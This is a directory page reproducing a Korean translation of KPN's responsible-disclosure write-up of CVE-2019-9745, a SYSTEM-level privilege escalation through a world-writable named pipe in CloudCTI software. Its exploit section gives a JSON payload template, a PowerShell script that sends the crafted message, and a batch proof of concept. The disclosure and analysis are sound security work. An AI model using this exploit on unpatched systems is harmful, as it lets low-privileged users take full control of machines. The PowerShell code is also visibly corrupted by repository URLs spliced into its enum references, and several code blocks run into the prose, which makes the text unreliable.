Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2019-9745 — Write-up on the CVE-2019-9745 vulnerability. | Kitploit
도구/GitHubGitHub/kpn-ciso/cve-2019-9745
Vulnerability AnalysisExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubkpn-ciso/cve-2019-9745

CVE-2019-9745

Write-up on the CVE-2019-9745 vulnerability.

저장소 보기
16년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저자: Arn Vollebregt

소개

창의성은 침투 테스트의 핵심이며, 이는 우리 작업을 흥미롭게 유지합니다. 그러나 한 가지 함정은 공격 시나리오를 '과도하게 설계'하고 오직 버그(오류 조건)에만 집중하는 경향입니다. 결함(의도하지 않은 동작)은 동일하게 치명적인 결과를 초래할 수 있습니다. 이 글은 이러한 결함에 대한 침투 테스트의 중요성을 보여주는 사례 연구를 제공합니다. 동시에 SDLC(보안 개발 수명 주기) 프로세스를 채택하는 것을 주장합니다.

이 글은 취약점 CVE-2019-9745의 RD(책임 있는 공개)의 일부이며, 공급업체 CloudCTI와의 긴밀한 협력을 통해 작성되었습니다. 기술적 세부 사항을 깊이 파고들기 전에 취약점에 대한 높은 수준의 개요를 제공합니다. 취약점 악용을 시연한 후, 교훈을 얻은 결론을 제공합니다.

요약

당사의 침투 테스트 중 하나에서 검토한 CloudCTI Recognition Configuration Tool은 CRM(고객 관계 관리) 소프트웨어에서 정보를 검색하는 데 사용됩니다. 이는 상담원이 고객 통화 중에 관련 정보를 제공합니다. 로컬 시스템을 완전히 손상시키기 위해 연결될 수 있는 여러 문제가 식별되었습니다. 공급업체는 이 문제가 다른 고객의 시스템이나 자체 시스템에 영향을 미치지 않는다는 점을 강조하고자 합니다.

많은 보안 취약점과 마찬가지로 중요한 문제는 영향력 밖에서 발생하는 데이터를 검증하는 데 있습니다. 시스템과 소프트웨어가 적대적인 환경에서 작동한다는 인식도 마찬가지로 중요합니다. 시간과 경험을 통해 도청이 인터넷에서 위협이라는 것을 배웠습니다. 그러나 다른 통신 채널, 심지어 시스템 내부에서도 마찬가지입니다. 이것이 취약점을 발견하는 데 중요한 역할을 했습니다.

발견된 문제에 대한 근본 원인 분석은 TM(위협 모델링)과 같은 관행의 중요성을 보여줍니다. TM은 설계 및 개발 초기 단계에서 위험을 식별하는 데 도움이 됩니다. 이는 허용할 수 없는 위험의 완화 또는 재설계/재구현으로 이어질 수 있습니다. 독자 스스로 분석을 수행하는 것이 권장되지만, 공급업체의 대응 조치에 대한 설명도 참고 용도로 제공됩니다.

취약점

공급업체 소프트웨어는 함께 작동하는 네 가지 응용 프로그램으로 구성됩니다. 첫 번째 응용 프로그램은 그래픽 사용자 인터페이스(GUI)입니다. 이를 통해 사용자는 여러 CRM 소프트웨어 패키지에서 정보 검색을 시작할 수 있습니다:

그림 01

GUI는 메시지를 전송하여 정보 검색을 서비스(두 번째 응용 프로그램)에 위임합니다. 첫 번째 보안 문제는 여기서 나타납니다. 시스템의 누구나 GUI와 서비스 간의 메시지를 관찰하여 형식과 내용을 확인할 수 있을 뿐만 아니라(기밀성에 영향), 자신의 메시지를 보낼 수도 있습니다(권한 부여에 영향). 또한 서비스로 전송되는 메시지의 출처가 확인되지 않습니다(부인 방지에 영향). STRIDE 위협 모델링 용어로 이는 시스템이 정보 공개 및 변조에 취약함을 의미합니다. 실제로 이러한 메시지에서 수집한 정보는 취약점 발견에 중요한 역할을 했습니다.

세 번째 응용 프로그램은 여러 특수 임포터 중 하나입니다. 서비스는 특정 CRM 패키지에 대한 정보 검색을 특정 임포터에 위임합니다. GUI에서 보낸 메시지에는 이 임포터에 대한 특정 지침이 포함되어 있습니다. Exquise CRM 임포터를 살펴보면 정보 검색이 외부(네 번째) 응용 프로그램에 추가로 위임되는 것으로 나타났습니다. 임포터의 내부 로직을 조사한 결과 외부 응용 프로그램이 GUI와 서비스 간의 메시지에서 지정될 수 있다는 것을 발견했습니다. 여기서 나타나는 문제는 외부 응용 프로그램의 신원을 확인하지 않고 실행된다는 것입니다(부인 방지에 영향).

이러한 문제를 연결하여 메시지 형식을 확인하기 위해 메시지를 도청하고, 자체 악성 외부 응용 프로그램을 지정하는 메시지를 보낼 수 있습니다. 해당 외부 응용 프로그램은 임포터/서비스와 동일한 권한으로 실행됩니다. 이러한 권한은 시스템 내에서 가능한 최고 수준이므로 완전한 제어가 달성되고 시스템이 손상됩니다.

이러한 문제는 공급업체에 의해 고유한 공유 비밀을 사용하여 메시지를 암호화함으로써 완화됩니다(기밀성 문제 완화). 이러한 공유 비밀은 이를 소유한 인증된 시스템 사용자만 액세스할 수 있습니다(권한 부여 문제 완화). 또한 첫 번째 부인 방지 문제가 완화됩니다. 마지막으로 외부 응용 프로그램은 암호화 방식으로 서명됩니다(두 번째 부인 방지 문제 완화). 이러한 조치를 결합하면 취약점이 성공적으로 완화됩니다.

기술적 세부 사항

CloudCTI Recognition Configuration Tool GUI 응용 프로그램(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe)이 설치되면 Process Explorer로 검사됩니다. 이를 통해 동반 서비스(Recognition Update Client Service)가 설치되고 NT AUTHORITY\SYSTEM 권한으로 실행된다는 것을 발견합니다:

그림 02

서비스 실행 파일(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe)을 조사하면 .NET 프로그래밍 언어로 개발되었음이 분명해집니다. 이는 dnSpy를 사용하여 디컴파일할 수 있으며, 내부 로직에 대한 통찰력을 얻을 수 있습니다. 이에 대한 자세한 내용은 아래에서 설명합니다.

RUCS2017Service(서비스 실행 파일의 내부 .NET 네임스페이스)는 RUCS2017 네임스페이스(C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll)를 둘러싼 얇은 래퍼로 밝혀졌습니다. 이는 RUCS2017.dll:RUCS2017.TRUCS2017:902에서 RUCS20151029라는 이름의 명명된 파이프 서버를 정의합니다:

그림 03

해당 명명된 파이프 서버는 RUCS2017.dll:RUCS2017.TRUCS2017:833에서 시작됩니다:

그림 04

다음 Powershell 한 줄 명령은 이 파이프가 시스템에서 실제로 활성 상태인지 확인하는 데 사용됩니다:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

root@kitploit:~
Using [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk)를 사용하여 파이프의 액세스 권한을 검사합니다. 이를 통해 파이프가 모든 시스템 사용자(*Everyone*)에 의해 읽기(*R*) 및 쓰기(*W*)가 가능함을 발견합니다:```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\RUCS20151029
  RW Everyone
  RW BUILTIN\Administrators

GUI에서 애플리케이션 추가 기능을 사용할 때(그림 01 참조) 다음의 암호화되지 않은 트래픽이 명명된 파이프에서 IO Ninja를 사용하여 관찰된다:

그림 05

이는 다음의 JSON 데이터를 포함한다:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

root@kitploit:~
파이프의 메시지 처리는 [이벤트](https://docs.microsoft.com/en-us/dotnet/standard/events/) 기반이며, *RUCS2017.dll:RUCS2017.TRUCS2017:803*의 서비스 생성자에서 구독됩니다:

![](https://assets.kitploit.com/production/public/readmes/37200/3e7d9948347ffbffc26ee104ad8ff50933606181eb9eee446b5fa3dc961d01e7.png)
**<div style="text-align: right">그림 06</div>**

이 함수에서 JSON은 먼저 *RUCS2017.dll:RUCS2017.TRUCS2017:267*에서 역직렬화됩니다:

![](https://assets.kitploit.com/production/public/readmes/37200/33bca92e1b5a36f4603939abd37a314f4f61cd9ef70e0e07d94f227843e10bdd.png)
**<div style="text-align: right">그림 07</div>**

*WizardGetData* JSON 메시지 구조를 처리하는 구체적인 로직은 *RUCS2017.dll:RUCS2017.TRUCS2017:315*의 *TFerbCommandType.WizardGetData* 열거형 case에서 확인할 수 있습니다:

![](https://assets.kitploit.com/production/public/readmes/37200/73c46336e94cd74c15c7d08d05fe5bd222805be36dbf3c3d4b88c5ba96e3841c.png)
**<div style="text-align: right">그림 08</div>**

그런 다음 태스크 관리자가 *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614*에서 파싱된 메시지 구조를 전달하며 새 스레드를 시작합니다:

![](https://assets.kitploit.com/production/public/readmes/37200/036e68c9599c4a8f38ef4e7f620acd2867f0482239535ed2f5e2804976c2bc97.png)
**<div style="text-align: right">그림 09</div>**

*DatasourceType*(특정 CRM 패키지용)은 *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*에서 동적으로 로드됩니다:

![](https://assets.kitploit.com/production/public/readmes/37200/76890a7277c2d05ee4d5ecf973f1f987e32f694c6523210b423f9a74adcefa46.png)
**<div style="text-align: right">그림 10</div>**

이는 *json.conf:17*에 정의된 *.dll* 파일을 로드합니다:

![](https://assets.kitploit.com/production/public/readmes/37200/946a3349f0f4ed3d0e9ca99ce176d3114226b4cb4f88a7402a75ebdba3405c9d.png)
**<div style="text-align: right">그림 11</div>**

그런 다음 메시지의 추가 처리는 *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197*(*그림 10*)에서 *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* 플러그인에 위임됩니다.

*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource*는 *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource*(*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*)에서 파생됩니다. 이는 다시 *CloudCTI.Datasources.RUS2015.DatasourceBase*(*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*)에서 파생됩니다. *GetData* 메서드의 구현은 *CloudCTI.Datasources.RUS2015.DatasourceBase:133*에서 찾을 수 있으며, *CloudCTI.Datasources.RUS2015.DatasourceBase:142*에서 *initializeDatasource*를 호출합니다:

![](https://assets.kitploit.com/production/public/readmes/37200/405e10ddf3fb9c601b8a91fd1c7c3fdab9033a19279276895d6655611071d22e.png)
**<div style="text-align: right">그림 12</div>**

이 메서드는 다시 *CloudCTI.Datasources.RUS2015.DatasourceBase:598*에서 *DatasourceInitialize*를 호출합니다:

![](https://assets.kitploit.com/production/public/readmes/37200/b42faa7d9551b04a5f0addd5031348ac56f6654cd49bc22f6d7dd357eb45a96a.png)
**<div style="text-align: right">그림 13</div>**

먼저 JSON 메시지는 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*에서 파싱됩니다:

![](https://assets.kitploit.com/production/public/readmes/37200/1bf27679546c003d32ba46d0b5b4fc892b35158964d228df72541cdef4c6c75c.png)
**<div style="text-align: right">그림 14</div>**

이 메시지의 구조는 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings* 클래스에 정의되어 있습니다. 이 클래스에는 우리에게 매우 중요한 *ExporterApplication* 속성도 포함되어 있습니다:

![](https://assets.kitploit.com/production/public/readmes/37200/0ed877f459c0643cda84f50b5aeda7000e33784c6794dae9c42de9d385498002.png)
**<div style="text-align: right">그림 15</div>**

*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29*(*그림 14* 참조)에서 메시지에 *ExporterApplication*이 설정되어 있는지 확인합니다. 설정되어 있지 않으면 기본 애플리케이션이 사용되고, 그렇지 않으면 메시지의 외부 애플리케이션이 사용됩니다. <span style='color:red'>**여기서 취약점이 나타납니다**</span>. *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41*(*그림 14* 참조)에서 *createExportFile* 메서드를 호출하여 이전에 결정된 외부 애플리케이션을 시작합니다(라인 *73*):

![](https://assets.kitploit.com/production/public/readmes/37200/7b84dfabc6a860697245373d0fca8bcad5f747d0983521d9ea46f0e85031587f.png)
**<div style="text-align: right">그림 16</div>**

# 익스플로잇 #

서비스 프로세스(*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*)가 *NT AUTHORITY\SYSTEM* 권한으로 실행되므로 시스템의 **모든** 측면에 접근할 수 있으며, 이제 *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication* 속성을 통해 마찬가지로 접근할 수 있습니다. 이것이 메시지에 조작되어 포함되면 다음과 같은 JSON 템플릿이 생성됩니다:```JSON
{
    "Command":"WizardGetData",
    "Params":
    {
        "ReturnSize":RETURN_SIZE,
        "DatasourceType":"exquise exporter",
        "DatasourceSettings":
        {
            "ExquiseFolder":"FOLDER_NAME",
            "ExporterApplication":"APPLICATION_NAME"
        }
    },
    "Id":"RANDOM_VALUE"
}

시행착오를 통해 ExporterApplication이 배치 스크립트가 될 수 있으며, 추가 리소스 다운로드가 필요 없고 낮은 권한의 사용자가 제어할 수 있는 (사용자) 디렉터리에 배치할 수 있음이 밝혀졌습니다. 모든 사용자가 RUCS20151029 명명된 파이프에 쓸 수 있으므로, 다음 PowerShell 스크립트를 사용하여 조작된 JSON을 명명된 파이프로 전송합니다:

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/HEAD/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

root@kitploit:~
다음 배치 스크립트는 JSON 메시지에서 외부 애플리케이션(*ExporterApplication*)으로 지정됩니다. 개념 증명으로 이를 실행하는 사용자의 이름이 파일에 기록됩니다. 물론 이는 모든 명령어(시퀀스)로 대체될 수 있습니다.

**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log

When the message is sent by a normal (low privileged) user (using CVE-2019-9745.ps1) we can indeed see that CVE-2019-9745.bat is executed using elevated privileges (NT Authority\SYSTEM):

그림 17

결론

침투 테스트 관점에서 시스템의 (비즈니스) 로직의 결함을 테스트하는 것은 상당한 시간 투자가 필요할 수 있습니다. 대부분의 침투 테스트는 블랙박스 테스트(화이트박스 테스트와 반대)이기 때문에 일반적으로 리버스 엔지니어링을 수반합니다. 그러나 여기서 입증되었듯이 결함은 버그만큼이나 치명적일 수 있습니다. 이러한 이유로 버그와 결함을 모두 테스트하는 두 갈래 접근 방식을 강력히 권장합니다.

벤더 입장에서는 '제품이 어떻게 사용될 수 있는가'라는 질문뿐만 아니라 '어떻게 악용될 수 있는가'라는 질문도 하는 것이 중요합니다. SDLC(보안 개발 수명 주기)는 제품 수명 주기의 다양한 단계에서 위험 관리에 도움이 될 수 있습니다: 보안 요구사항, 아키텍처 및 위협 모델은 상위 및 하위 수준 설계 단계를 지원합니다. 정적/동적 코드 분석 및 동료 검토는 개발 프로세스를 지원합니다. 마지막으로 침투 테스트는 (독립적인) 감사를 제공합니다. 물론 이러한 프로세스의 결과는 위험 감수성향과 비교하여 평가되어야 합니다. 재정적 관점에서 여러 연구(SDLC의 보안을 위한 비즈니스 사례)는 제품 수명 주기의 초기 단계에서 (보안) 결함을 해결하는 것이 수정보다 비용 효율적이라고 결론지었습니다. 이는 SDLC에 투자하면 장기적으로 TCO(총 소유 비용)를 줄일 수 있음을 의미합니다.

두 관점을 연결하려면 교육과 훈련을 통해 모든 분야에서 보안 인식에 지속적으로 투자하는 것이 중요합니다. 이를 통해 모든 당사자가 빠르게 진화하는 IT 영역의 기회와 보안 위험에 대해 최신 정보를 유지할 수 있습니다. 이렇게 함으로써 우리 모두는 더 안전한 사회에 기여할 수 있습니다.

책임 있는 공개 타임라인

  • 2019-01-25 : KPN CERT가 벤더 CloudCTI에 취약점 보고.
  • 2019-02-14 : CloudCTI가 고객에게 핫픽스 출시.
  • 2019-03-13 : MITRE의 CVE 예약.
  • 2019-04-18 : CloudCTI가 KPN에 초기 패치 제공.
  • 2019-04-26 : KPN 레드팀의 취약점 재테스트.
  • 2019-05-02 : CloudCTI가 KPN에 수정된 패치 제공.
  • 2019-05-02 : KPN 레드팀의 취약점 재테스트.
  • 2019-06-19 : CloudCTI가 고객에게 패치 출시.
  • 2019-06-27 : CloudCTI가 보안 알림 출시.
  • 2019-10-14 : KPN 레드팀이 GitHub에 이 글 공개.
  • 2019-10-14 : MITRE의 CVE 공개.
  • 2019-11-07 : KPN 레드팀이 kpn.com에 이 글 공개.

심각도

이 취약점에 할당된 CVSS 점수는 8.8입니다 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).

도구 다운로드